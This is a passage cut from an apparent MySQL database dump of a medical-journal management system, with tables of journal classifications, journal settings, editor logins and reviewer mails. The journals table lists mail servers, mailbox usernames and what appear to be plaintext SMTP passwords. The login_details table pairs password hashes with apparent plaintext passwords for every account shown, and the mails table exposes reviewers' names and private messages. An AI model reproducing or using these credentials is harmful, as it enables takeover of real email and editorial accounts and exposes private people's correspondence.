Surgery','2023-11-09',1),(59136,91,0,'pharmacognosy','2023-11-23',1),(59137,975,0,'parasitology','2023-11-27',1),(59138,975,0,'virology','2023-11-27',1),(59139,975,0,'toxicology','2023-11-27',1),(59140,975,0,'neuro science','2023-11-27',1),(59141,975,0,'embryology','2023-11-27',1),(59142,975,0,'Biostatistics','2023-11-27',1),(59143,996,0,'David','2023-12-03',1),(59144,326,0,'Outpatient Surgery','2023-12-06',1),(59145,326,0,'Ankle Recovery','2023-12-06',1),(59146,326,0,'Colorectal Surgery','2023-12-06',1),(59147,326,0,'Orthognathic Surgery','2023-12-06',1),(59148,326,0,'Varicose  Surgery','2023-12-06',1),(59149,326,0,'Sinus Surgery','2023-12-06',1),(59150,326,0,'Scoliosis Surgery','2023-12-06',1),(59151,326,0,'Hydrocele Surgery','2023-12-06',1),(59152,971,0,'  ','2023-12-13',1),(59153,971,0,' ','2023-12-13',1),(59154,971,0,' ','2023-12-13',1),(59155,639,0,'Fishing Technology','2023-12-15',1),(59156,639,0,'Marine Biology','2023-12-15',1),(59157,639,0,'Aquatic Ecosystems','2023-12-15',1),(59158,971,0,'   ','2023-12-16',1),(59159,996,0,'MACAU88','2023-12-22',1),(59160,959,0,'Thyroid','2024-01-02',1),(59161,971,0,'  ','2024-01-03',1),(59162,996,0,'Chronic Knee Pain','2024-01-05',1),(59163,996,0,'Polymyalgia Rheumatic','2024-01-05',1),(59164,996,0,'Traumeel','2024-01-05',1),(59165,996,0,'Psoriatic Arthritis','2024-01-05',1),(59166,996,0,'Rheumatoid Arthritis','2024-01-05',1),(59167,996,0,'Rheumatologist','2024-01-05',1),(59168,996,0,'Bone','2024-01-05',1),(59169,251,0,'Disinfection','2024-01-08',1),(59170,251,0,'Immunoassay','2024-01-08',1),(59171,251,0,'Biological Medicine','2024-01-08',1),(59172,251,0,'Parasitology','2024-01-08',1),(59173,251,0,'Animal and Human science','2024-01-08',1),(59174,251,0,'Animal and Human science','2024-01-08',1),(59175,975,0,'neuro biology','2024-01-10',1),(59176,975,0,'onocology','2024-01-10',1),(59177,975,0,'biophysics','2024-01-10',1),(59178,975,0,'epidemiology','2024-01-10',1),(59179,975,0,'hematology','2024-01-10',1),(59180,975,0,'Gastroenterology','2024-01-10',1),(59181,981,0,'Pharmacodynamics','2024-01-10',1),(59182,975,0,'radiology','2024-01-10',1),(59183,975,0,'Bioinformatics','2024-01-10',1),(59184,975,0,'Pharmacology','2024-01-10',1),(59185,975,0,'Medical Technology','2024-01-10',1),(59186,639,0,'Fish Physiology','2024-01-18',1),(59187,639,0,'Fish Ecology','2024-01-18',1),(59188,639,0,'Ichthyology','2024-01-18',1),(59189,639,0,'Fish Nutrition','2024-01-18',1),(59190,639,0,'Fish Reproduction','2024-01-18',1),(59191,639,0,'Fish Behavior','2024-01-18',1),(59192,996,0,'GOJEK88','2024-01-22',1),(59193,1020,0,' prevalence of Sexual transmitted  disease and its trends','2024-01-22',1),(59204,326,0,'Laparoscopic surgery','2024-02-05',1),(59205,326,0,'Ankle surgery','2024-02-05',1),(59206,326,0,'Hysterectomy surgery','2024-02-05',1),(59207,326,0,'Hip surgery','2024-02-05',1),(59208,326,0,'Gynecomastia Surgery','2024-02-05',1),(59209,326,0,'Glaucoma surgery','2024-02-05',1),(59210,326,0,'Neck surgery','2024-02-05',1),(59211,971,0,'  ','2024-02-14',1),(59212,45,0,'pure engineering science','2024-02-28',1),(59213,251,0,'Environmental Science ','2024-03-01',1),(59214,251,0,'Genetic Code','2024-03-01',1),(59215,975,0,'Biology','2024-03-01',1),(59216,975,0,'Ecosystem','2024-03-01',1),(59217,975,0,'bioengineering','2024-03-01',1),(59218,975,0,'proteomics','2024-03-01',1),(59219,975,0,'protogenomics','2024-03-01',1),(59220,975,0,'stem cell','2024-03-01',1),(59221,975,0,'medical imaging','2024-03-01',1),(59222,91,0,'Gene therapy','2024-03-05',1),(59223,251,0,'Tuberculosis','2024-03-05',1),(59224,251,0,'Energy Metabolis','2024-03-05',1),(59225,91,0,'Neurodegeneration','2024-03-05',1),(59226,251,0,'Cytomegalovirus','2024-03-05',1),(59227,981,0,'Pharmacotherapeutics','2024-03-06',1),(59228,45,0,'Biochemical Analyzer','2024-03-08',1),(59229,959,0,'Biomarkers','2024-03-14',1),(59230,959,0,'Cancer drug','2024-03-14',1),(59231,959,0,'cancer tablets','2024-03-14',1),(59232,959,0,'cancer stem  cell','2024-03-14',1),(59233,959,0,'cancer early stages','2024-03-14',1),(59234,959,0,'precision medicine','2024-03-14',1),(59235,959,0,'Treatment Stratagies','2024-03-14',1),(59236,45,0,' ','2024-03-14',1),(59237,91,0,'Phytopharmacology, renal disorders, nephroprotective, urolithiatic activity','2024-03-17',1),(59238,73,0,'software','2024-04-01',1),(59239,45,0,'Mental Health','2024-04-03',1),(59240,639,0,'Fish Biology ','2024-05-03',1),(59241,639,0,'Alright ','2024-05-03',1),(59242,251,0,'Microbial Diagnostics','2024-05-06',1),(59243,251,0,'Clinical Microbiology','2024-05-06',1),(59244,251,0,'Epidemiology','2024-05-06',1),(59245,996,0,'Autoimmune diseases','2024-05-07',1),(59246,667,0,'Corynebacterium Pseudodiphtheriticum','2024-05-09',1),(59247,667,0,'Stem Cell Implantation','2024-05-09',1),(59248,667,0,'Vitamin','2024-05-09',1),(59249,667,0,'cancer','2024-05-09',1),(59250,667,0,'nucleoprotein','2024-05-09',1),(59251,667,0,'hormones','2024-05-10',1),(59252,667,0,'Myeloid Leukemia','2024-05-10',1),(59253,667,0,'Coronary Artery','2024-05-10',1),(59254,667,0,'Pneumosinus Dilatans','2024-05-10',1),(59255,667,0,'Rheumatoid Arthritis','2024-05-10',1),(59256,975,0,'Biocompatibility','2024-05-16',1),(59257,975,0,'medicine','2024-05-16',1),(59258,975,0,'Health care','2024-05-16',1),(59259,975,0,'Biomedicine','2024-05-16',1),(59260,959,0,'Histopathology','2024-05-17',1),(59261,959,0,'health','2024-05-17',1),(59262,959,0,'cancer metabolism','2024-05-17',1);
/*!40000 ALTER TABLE `journal_classifications` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `journals`
--

DROP TABLE IF EXISTS `journals`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `journals` (
  `j_id` int NOT NULL AUTO_INCREMENT,
  `j_name` varchar(200) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `j_code` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `j_url` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `j_slug` varchar(220) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `j_email` varchar(100) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `finance_email` varchar(80) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `finance_name` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `j_active` int NOT NULL DEFAULT '1',
  `smtp_server` varchar(150) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `smtp_port` int DEFAULT NULL,
  `smtp_user` varchar(150) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `smtp_pwd` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `work_stat` int NOT NULL DEFAULT '0',
  `ferp_stat` tinyint(1) NOT NULL DEFAULT '0',
  `d_id` int NOT NULL DEFAULT '0',
  `mt_stat` tinyint(1) NOT NULL DEFAULT '0',
  `j_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`j_id`)
) ENGINE=InnoDB AUTO_INCREMENT=1021 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `journals`
--

LOCK TABLES `journals` WRITE;
/*!40000 ALTER TABLE `journals` DISABLE KEYS */;
INSERT INTO `journals` VALUES (45,'Health Science Journal','iphsj','https://www.itmedicalteam.pl/health-science.html','health-science-journal','healthscij@emedscience.org','finance@galleyproofs.com','Joseph G',1,'smtp.emedscience.org',587,'healthscij@emedscience.org','XL64NyGb6r',1,1,0,1,'2019-07-09 11:16:02'),(73,'Journal of Neurology and Neuroscience','ipjnn','https://www.itmedicalteam.pl/neurology-and-neuroscience.html','neurology-neuroscience','neurology@emedicalscience.com','invoiceproof@galleyproofs.com','Raj',1,'smtp.emedscholar.com',587,'neurology@emedicalscience.com','BFo8vIy913p',1,0,0,1,'2019-07-15 05:38:57'),(85,'Health Systems and Policy Research','iphspr','https://www.itmedicalteam.pl/health-systems-and-policy-research.html','health-systems-policy-research','iphspr@escientificjournals.com','invoiceproof@galleyproofs.com','Raj',1,'smtp.emedscholar.com',587,'iphspr@escientificjournals.com','V*xbMELZ3',1,1,0,1,'2019-07-15 08:24:17'),(86,'Archives of Medicine','ipaom','https://www.itmedicalteam.pl/archives-of-medicine.html','archives-medicine','archmed@journalinsight.org','invoiceproof@galleyproofs.com','Raj',1,'smtp.journalinsight.org',587,'archmed@journalinsight.org','MEFcBOT5LF1',1,0,0,1,'2019-07-15 08:44:20'),(91,'International Journal of Drug Development and Research','ijddr','https://www.itmedicalteam.pl/drug-development-and-research.html','international-drug-development-research','editor.ijddr@imedpub.com','paymentproof@galleyproofs.com','Ekta Priyadarshini',1,'smtp.emedscholar.com',587,'editor.ijddr@imedpub.com','$#^ijddr*0',1,0,0,1,'2019-07-15 09:36:08'),(251,'Archives of Clinical Microbiology','ipacm','https://www.itmedicalteam.pl/archives-of-clinical-microbiology.html','archives-clinical-microbiology','microbiology@eclinicalsci.org','galleyproof@journalinvoice.com','Sai Akhilesh',1,'smtp.emedscholar.com',587,'microbiology@eclinicalsci.org','*ghtfy#10',1,0,0,1,'2019-08-06 08:51:24'),(277,'Archivos de Medicina','ipadm','https://www.itmedicalteam.pl/archivos-de-medicina.html','archivos-de-medicina','archivos@imedpubjournals.com','accounting@journalinvoice.com','Mirza Irfan Baig',1,'smtp.emedscholar.com',587,'archivos@imedpubjournals.com','uSJ5ucnqdje1k8C',1,0,0,1,'2019-08-07 05:23:29'),(326,'Journal of Universal Surgery','IPJUS','https://www.itmedicalteam.pl/universal-surgery.html','universal-surgery','ipjus@clinicalres.org','invoiceproof@galleyproofs.com','Raj',1,'smtp.emedscholar.com',587,'ipjus@clinicalres.org','d$NU*KX6',1,1,0,1,'2019-08-07 07:25:50'),(639,'Journal of FisheriesSciences.com','ipfs','https://www.itmedicalteam.pl/fisheriessciences.html','fisheries-sciences','fisheries@esciencejournals.org','galleyproof@journalinvoice.com','Sai Akhilesh',1,'smtp.emedscholar.com',587,'fisheries@esciencejournals.org','de!gf4fg',1,1,0,1,'2019-08-16 08:26:13'),(667,'Translational Biomedicine','iptb','https://www.itmedicalteam.pl/translational-biomedicine.html','translational-biomedicine','translationalresearch@emedicalscience.com','paymentproof@galleyproofs.com','Ekta Priyadarshini',1,'smtp.emedscholar.com',587,'translationalresearch@emedicalscience.com','hlWDzia1',1,1,0,1,'2019-08-19 06:47:51'),(959,'Archives in Cancer Research','ipacr','https://www.itmedicalteam.pl/archives-in-cancer-research.html','archives-cancer-research','cancer@imedpub.com','accounting@journalinvoice.com','Mirza Irfan Baig',1,'smtp.emedscholar.com',587,'cancer@imedpub.com','%1Can$#!',1,0,0,1,'2019-08-31 06:08:50'),(971,'Annals of Clinical and Laboratory Research','ipaclr','https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html','annals-clinical-laboratory-research','aclr@clinicalres.org','accounting@galleyproofs.com','Priyadarshini',1,'smtp.clinicalres.org',587,'aclr@clinicalres.org','pUOL@H)#@9',1,0,0,1,'2020-01-23 10:00:19'),(975,'Journal of Biomedical Sciences','ipjbs','https://www.itmedicalteam.pl/biomedical-sciences.html','biomedical-sciences','biomedicalsci@journalsci.org','paymentproof@journalinvoice.com','Rahul Kumar sharma',1,'smtp.emedscholar.com',587,'biomedicalsci@journalsci.org','(nv)gdf3',1,0,0,1,'2020-04-24 12:07:35'),(981,'Farmacologia y Toxicologia','ipft','https://www.itmedicalteam.pl/farmacologia-y-toxicologia.html','farmacologiay-toxicologia','farma@imedpublisher.com','invoiceproof@galleyproofs.com','Raj',1,'smtp.emedscholar.com',587,'farma@imedpublisher.com','colEkU%mM4',1,0,0,1,'2020-05-21 07:21:47'),(996,'Acta Rheumatologica','ipar','https://www.itmedicalteam.pl/acta-rheumatologica.html','acta-rheumatologica','rheumatologica@imedpubjournals.com','invoiceproof@galleyproofs.com','Raj',1,'smtp.emedscholar.com',587,'rheumatologica@imedpubjournals.com','WN%pfxN6',1,0,0,1,'2020-06-01 05:20:42'),(1020,'Molecular Enzymology and Drug Targets','ipmedt','https://www.itmedicalteam.pl/molecular-enzymology-and-drug-targets.html','molecular-enzymology-drug-targets','enzymology@eventsupporting.org','invoiceproof@galleyproofs.com','Raj',1,'smtp.emedscholar.com',587,'enzymology@eventsupporting.org','*hXVqQCI0',1,1,0,1,'2020-06-08 06:52:10');
/*!40000 ALTER TABLE `journals` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `login_details`
--

DROP TABLE IF EXISTS `login_details`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `login_details` (
  `log_id` int NOT NULL AUTO_INCREMENT,
  `first_name` varchar(400) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `last_name` varchar(40) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `username` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `password` varchar(40) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `disp_pwd` varchar(40) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `email` varchar(80) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `gender` varchar(10) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL DEFAULT '',
  `contact_no` varchar(15) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL DEFAULT '',
  `address` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `hire_date` date DEFAULT NULL,
  `p_photo` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `status` varchar(20) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL DEFAULT 'true',
  `role` int NOT NULL DEFAULT '0',
  `role_id` int NOT NULL,
  `login_type` int NOT NULL DEFAULT '4',
  `out_open` tinyint(1) NOT NULL DEFAULT '0',
  `last_login` datetime DEFAULT NULL,
  PRIMARY KEY (`log_id`),
  KEY `role` (`role`),
  KEY `FK_login_details` (`role_id`)
) ENGINE=InnoDB AUTO_INCREMENT=1507 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login_details`
--

LOCK TABLES `login_details` WRITE;
/*!40000 ALTER TABLE `login_details` DISABLE KEYS */;
INSERT INTO `login_details` VALUES (48,'Health','Science','health','ae2ab5f8e388eff6c30e311c660bd1d0','7ht65$l@aeh',NULL,'','','','2019-07-09','','TRUE',0,45,4,0,'2024-05-29 06:41:26'),(75,'Neurology','Neuroscience','neurology','59cc442efba3b6ced2533815b4b59a3e','6o@ruen$ygol45',NULL,'','','','2019-07-15','','TRUE',0,73,4,0,'2024-05-25 04:22:16'),(84,'Health','Systems','policy','8bea0ea6618706fd4091eb5999db7208','il@5$ycop76',NULL,'','','','2019-07-15','','TRUE',0,85,4,0,'2024-05-25 07:32:48'),(85,'Archives','Medicine','archives','55bc5f7b9b29a7a981d0f9d3f0e2998d','123$sevih%cra',NULL,'','','','2019-07-15','','TRUE',0,86,4,0,'2024-05-17 04:47:27'),(248,'Clinical','Microbiology','ipacm','f557612347e344cc85a384d6f1fceb04','321$mc@pi',NULL,'','','','2019-08-06','','TRUE',0,251,4,0,'2024-05-27 08:10:33'),(274,'Archivos de','Medicina','ipadm','c3430570ebadcb9e8c32f6c155b91cee','321$mda@pi',NULL,'','','','2019-08-07','','TRUE',0,277,4,0,'2024-05-29 04:59:15'),(319,'Universal','Surgery','IPJUS','24558a024074a406bfab79c90160ca52','543$suj@pi','','','','','2019-08-07','','TRUE',0,326,4,0,'2024-05-28 03:58:41'),(376,'Drug Development','Research','IJDDR','9c09ea555952cfe01e51b29d0e512339','088$boW93','','','','','2019-08-07','','TRUE',0,91,4,0,'2024-05-29 06:39:24'),(645,'Journal','FisheriesSciences','ipfs','bbad0e85a4ae3f402bd63970e098c63d','432sf$pi',NULL,'','','','2019-08-16','','TRUE',0,639,4,0,'2024-05-29 06:25:55'),(673,'Translational','Biomedicine','iptb','b84a2b4d7931fa68fcec3ae257fc2f14','65pi4$bt@',NULL,'','','','2019-08-19','','TRUE',0,667,4,0,'2024-05-28 12:20:42'),(972,'Archives in','Cancer Research','ipacr','331b82886dc5e2f262e2e93d26f7c304','2TwJD4$','healthresearch@emedicaljournals.org','','','','2019-08-31','','TRUE',0,959,4,0,'2024-05-28 06:27:10'),(984,'Annals of Clinical','Laboratory Research','ipaclr','396d88f208f4f65db433a6637cc29da6','q5uDk3',NULL,'','',NULL,'2020-01-23',NULL,'true',0,971,4,0,'2024-04-12 09:21:41'),(988,'Journal of Biomedical','Sciences','ipjbs','57bbf80ec2e7aa42814745ebfc1167a0','vmS32X',NULL,'','',NULL,'2020-04-24',NULL,'true',0,975,4,0,'2024-05-29 08:11:32'),(994,'Farmacologia y','Toxicologia','ipft','3b7bdb9dbe91d8a3e657db0bcc7affe4','432#tfpi',NULL,'','',NULL,'2020-05-21',NULL,'true',0,981,4,0,'2024-05-29 06:38:24'),(1009,'Acta','Rheumatologica','ipar','3a2fca81983efcea5081155e16a27301','432#rapi',NULL,'','',NULL,'2020-06-01',NULL,'true',0,996,4,0,'2024-05-29 08:21:54'),(1033,'Molecular Enzymology','Drug Targets','ipmedt','0b0b93bc5fd6b90de4ea3d138708dac1','rRWd5n',NULL,'','',NULL,'2020-06-08',NULL,'true',0,1020,4,0,'2023-09-04 09:31:48'),(1045,'Health','Science','health_si','ac3a1c530aeba278151951328e9d6ee1','7uc9ygpr','','','','','2019-07-09','','TRUE',0,45,5,0,'2024-05-14 10:21:20'),(1050,'Neurology','Neuroscience','neurology_si','3ad96c7791cfec73116f77ccec90331f','pkyxnf6v','','','','','2019-07-15','','TRUE',0,73,5,0,'2024-05-28 11:47:58'),(1051,'Health','Systems','policy_si','da66beea758122fda1c07b75c2ca8841','921ha5wx','','','','','2019-07-15','','TRUE',0,85,5,0,'2021-07-22 03:44:24'),(1052,'Archives','Medicine','archives_si','80af40df4c6c4adcca247e80db45b033','cezdgwr9','','','','','2019-07-15','','TRUE',0,86,5,0,'2022-03-30 14:44:53'),(1079,'Clinical','Microbiology','ipacm_si','484fc97ff672af2f7a2ecb324df3f164','clwqjftx','','','','','2019-08-06','','TRUE',0,251,5,0,'2021-12-17 12:33:13'),(1086,'Archivos de','Medicina','ipadm_si','7e11781aafcfc9a98675d7810a9a274e','qzsn92x7','','','','','2019-08-07','','TRUE',0,277,5,0,'2021-06-15 09:22:59'),(1094,'Universal','Surgery','IPJUS_si','9269eb1704a157b6fc7b567a116cec69','vkw4gt2l','','','','','2019-08-07','','TRUE',0,326,5,0,'2022-07-01 16:02:13'),(1105,'Drug Development','Research','IJDDR_si','1b37aff9f90d0947e2918f962d54a9ca','n9zt5b8i','','','','','2019-08-07','','TRUE',0,91,5,0,'2021-11-17 12:36:28'),(1147,'Journal','FisheriesSciences','ipfs_si','fc3fcf8ff5771c5912315438500bc506','h4a86if7','','','','','2019-08-16','','TRUE',0,639,5,0,'2021-04-29 07:43:59'),(1157,'Translational','Biomedicine','iptb_si','68c353e3a8271373f529d408af8497e7','24sjrm9y','','','','','2019-08-19','','TRUE',0,667,5,0,'2021-03-29 11:30:16'),(1205,'Archives in','Cancer Research','ipacr_si','4706f4bf67768b2de13756bb1e93d179','pq7cd8xl','healthresearch@emedicaljournals.org','','','','2019-08-31','','TRUE',0,959,5,0,'2022-10-21 12:13:00'),(1212,'Annals of Clinical','Laboratory Research','ipaclr_si','98e1af5d568891e8810d993e4c945c04','zd54wvko','','','','','2020-01-23','','true',0,971,5,0,'2024-05-17 06:30:54'),(1216,'Journal of Biomedical','Sciences','ipjbs_si','0203780bd5d09ddb679aa6b54490ca38','rde8ua79','','','','','2020-04-24','','true',0,975,5,0,'2021-12-30 12:39:50'),(1222,'Farmacologia y','Toxicologia','ipft_si','efde02294c2d106201c76d5491608fdc','7ijpnzuy','','','','','2020-05-21','','true',0,981,5,0,'2021-03-18 04:16:47'),(1237,'Acta','Rheumatologica','ipar_si','712ec26bd313cbb04bf81c763c763e8c','zju7ar93','','','','','2020-06-01','','true',0,996,5,0,'2020-08-25 09:49:28'),(1261,'Molecular Enzymology','Drug Targets','ipmedt_si','6fecc996e9e49328966cd53b97bfa114','wi1yo8q2','','','','','2020-06-08','','true',0,1020,5,0,'0000-00-00 00:00:00'),(1274,'Health','Science','health_rp','944e5e6db22a343ce322d9b4aafdf704','j485qcdx','','','','','2019-07-09','','TRUE',0,45,6,0,'2023-06-09 11:51:41'),(1279,'Neurology','Neuroscience','neurology_rp','65a11d96600ceff4ea9c8a02a7cf7d62','sia94ype','','','','','2019-07-15','','TRUE',0,73,6,0,'2024-04-01 17:13:14'),(1280,'Health','Systems','policy_rp','bddcbbcca6cae8b50413e1a50088d389','tens61yr','','','','','2019-07-15','','TRUE',0,85,6,0,'2024-03-19 11:35:12'),(1281,'Archives','Medicine','archives_rp','ca7edb4032e657d955da2be577364fb2','zxeyun51','','','','','2019-07-15','','TRUE',0,86,6,0,'2024-04-25 11:55:53'),(1308,'Clinical','Microbiology','ipacm_rp','121501e43f189b98ec13e97a2d880096','w1voj6rd','','','','','2019-08-06','','TRUE',0,251,6,0,'2024-03-19 10:53:07'),(1315,'Archivos de','Medicina','ipadm_rp','688c0d36f40b48655c7d15563ed51a59','a9r8z5bl','','','','','2019-08-07','','TRUE',0,277,6,0,'2023-10-12 16:48:04'),(1323,'Universal','Surgery','IPJUS_rp','8f63b0fed447d188fa46bddc7e2b9194','e79xafzl','','','','','2019-08-07','','TRUE',0,326,6,0,'2023-03-23 17:12:10'),(1334,'Drug Development','Research','IJDDR_rp','bc0fe6f16be1dbe840183d4c7d048613','x6vh4t1l','','','','','2019-08-07','','TRUE',0,91,6,0,'2024-04-02 15:46:03'),(1376,'Journal','FisheriesSciences','ipfs_rp','817ec10548425f5ee8c2d943ef678d48','b5fwtyd6','','','','','2019-08-16','','TRUE',0,639,6,0,'2023-10-12 16:46:07'),(1386,'Translational','Biomedicine','iptb_rp','ff7fb48e905cbe9060ca5e9865919977','1xjeig8r','','','','','2019-08-19','','TRUE',0,667,6,0,'2022-12-06 10:19:24'),(1434,'Archives in','Cancer Research','ipacr_rp','42a10c6804a7bc66b8f0e3b77ffd0d85','kz6d4u9q','healthresearch@emedicaljournals.org','','','','2019-08-31','','TRUE',0,959,6,0,'2024-03-19 11:21:40'),(1441,'Annals of Clinical','Laboratory Research','ipaclr_rp','fdc2c32535dddfac3a8f91c46b1ead08','b7m2cl15','','','','','2020-01-23','','true',0,971,6,0,'2024-04-18 15:09:09'),(1445,'Journal of Biomedical','Sciences','ipjbs_rp','2f313514b438233381f7cc30a6eb14ab','iwaegozy','','','','','2020-04-24','','true',0,975,6,0,'2023-03-14 13:06:37'),(1451,'Farmacologia y','Toxicologia','ipft_rp','64e1aea1a8fb889d165ce55d38ae75b4','rmaobyt1','','','','','2020-05-21','','true',0,981,6,0,'2022-10-10 12:26:13'),(1466,'Acta','Rheumatologica','ipar_rp','47ee345815e7dc078de076e3c891df18','a429wvqz','','','','','2020-06-01','','true',0,996,6,0,'2024-04-01 17:40:29'),(1490,'Molecular Enzymology','Drug Targets','ipmedt_rp','ccaae9989f362bfc813e21b4a4bf1baa','3kwshef4','','','','','2020-06-08','','true',0,1020,6,0,'2024-03-19 11:33:33'),(1491,'Health','Health','health_qi','4a5db3c44835adec447c73c8fe8233b0','udckjf','','','','','2022-09-14','','TRUE',0,45,7,0,'2024-02-05 11:09:38'),(1492,'Neurology','Neurology','neurology_qi','0b33844d726df9f86413bcf750d7b5b7','u3nfkr','','','','','2022-09-14','','TRUE',0,73,7,0,'2023-11-13 15:33:02'),(1493,'Health','Health','policy_qi','264eed9ba1c344bd6a140ba6dddc7d48','3q25m1','','','','','2022-09-14','','TRUE',0,85,7,0,'2024-02-13 09:52:28'),(1494,'Archives','Archives','archives_qi','e6605cd890b8a0c782bc87253ae21b89','97yo0q','','','','','2022-09-14','','TRUE',0,86,7,0,'2023-11-13 15:13:52'),(1495,'Clinical','Clinical','ipacm_qi','fc74fc28fca50cc5704c76e127d9069f','02cn4u','','','','','2022-09-14','','TRUE',0,251,7,0,'2023-07-26 18:28:34'),(1496,'Archivos de','Archivos de','ipadm_qi','b6053ad412b01966b865076b18b138aa','xtrny7','','','','','2022-09-14','','TRUE',0,277,7,0,'2023-09-06 11:46:26'),(1497,'Universal','Universal','IPJUS_qi','cc4ce15e0e7728c2645149c69c32a11d','vy805c','','','','','2022-09-14','','TRUE',0,326,7,0,'2023-09-28 14:20:26'),(1498,'Drug Development','Drug Development','IJDDR_qi','39c079d920b4c491f8fed91245b5d8e7','jbq9d0','','','','','2022-09-14','','TRUE',0,91,7,0,'2023-11-13 14:28:16'),(1499,'Journal','Journal','ipfs_qi','fdbcea14b699030d6e654cbe0045b7ce','1afijm','','','','','2022-09-14','','TRUE',0,639,7,0,'2023-12-11 15:58:58'),(1500,'Translational','Translational','iptb_qi','ed4432cffd215a3a3f04e0e8f52d6851','nxuezi','','','','','2022-09-14','','TRUE',0,667,7,0,'2023-12-26 10:11:01'),(1501,'Archives in','Archives in','ipacr_qi','01bae9276ba7f6379d64446124b04caf','fu2pan','healthresearch@emedicaljournals.org','','','','2022-09-14','','TRUE',0,959,7,0,'2023-12-29 10:35:13'),(1502,'Annals of Clinical','Annals of Clinical','ipaclr_qi','929c4f7b835d02db0992a7bf1a1d51c6','8hyvzu','','','','','2022-09-14','','true',0,971,7,0,'2023-12-07 12:16:51'),(1503,'Journal of Biomedical','Journal of Biomedical','ipjbs_qi','4bc907d7d12f41c891b792bbec4cecfe','h3fbza','','','','','2022-09-14','','true',0,975,7,0,'2023-11-13 15:28:43'),(1504,'Farmacologia y','Farmacologia y','ipft_qi','c7183378ae3d604c516610b4e1045e18','swmynv','','','','','2022-09-14','','true',0,981,7,0,'2023-10-21 12:09:27'),(1505,'Acta','Acta','ipar_qi','3b3ddf41aa51c445d103a521d004ae51','t3q5ki','','','','','2022-09-14','','true',0,996,7,0,'2023-10-03 12:06:55'),(1506,'Molecular Enzymology','Molecular Enzymology','ipmedt_qi','c51c71bf52f8f51624eb0dfe006cd1a9','xejpy6','','','','','2022-09-14','','true',0,1020,7,0,'2022-10-13 09:41:28');
/*!40000 ALTER TABLE `login_details` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mails`
--

DROP TABLE IF EXISTS `mails`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `mails` (
  `ml_id` int NOT NULL AUTO_INCREMENT,
  `ml_subject` varchar(200) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `ml_message` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `to_id` int NOT NULL,
  `from_id` int NOT NULL,
  `user_type` int NOT NULL,
  `ml_date` varchar(30) NOT NULL,
  `ml_status` int NOT NULL DEFAULT '0',
  PRIMARY KEY (`ml_id`)
) ENGINE=InnoDB AUTO_INCREMENT=1123 DEFAULT CHARSET=utf8mb3;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mails`
--

LOCK TABLES `mails` WRITE;
/*!40000 ALTER TABLE `mails` DISABLE KEYS */;
INSERT INTO `mails` VALUES (1,'test from reviewer','<p>here i am declining article due to busy</p>',2,1,3,'2019-06-08',1),(2,'test from reviewer 2nd time','<p>test mail</p>',2,1,3,'2019-06-08',1),(11,'Please send me the fulltext','<p>Please send me the fulltext</p>',0,85,3,'2019-06-28 21:38:47',0),(12,'DECLINE TO REVIEW THE REQUESTED ARTICLE\n\" Deliver preference and influencing\nfactors in women giving birth\"','<p>I am sorry I am unable to review the abive artcile as I am trying to meet my deadline for some assignemnt. However, I will be availabe after the 15th of July, 2019. Thank you for considering\nme.</p>',0,197,3,'2019-07-01 16:56:59',0),(13,'Review Confirmation','<p>Hello,&nbsp;</p>\r\n<p>Could you please confirm you have received my review? For some reason, I have not received a confirmation by the system.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks</p>\r\n<p>Shyamal</p>',0,173,3,'2019-07-02 12:51:26',0),(14,'Review Confirmation','<p>Hello,&nbsp;</p>\r\n<p>Could you please confirm you have received my review? For some reason, I have not received a confirmation by the system.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks</p>\r\n<p>Shyamal</p>',0,173,3,'2019-07-02 12:52:09',0),(15,'Acceptance as Reviewer','<p>Dear Sir,</p>\r\n<p>I am happy to review the paper. Please let me know the procedure.Thanks and regards</p>\r\n<p>Dr Sutapa Biswas Majee</p>',0,261,3,'2019-07-02 13:03:24',1),(16,'Delayed submission date','<p>Dear Sir,<br /> The manuscript was originally submitted on 7th may, 2019 for which I got an acknowledgement which is as follows:<br />Dear GUPTA,</p>\r\n<p>Your submission entitled \"Conserved Water Molecule-dependent Docking Strategy and Atom-based 3D QSAR Studies in the Design of Heat 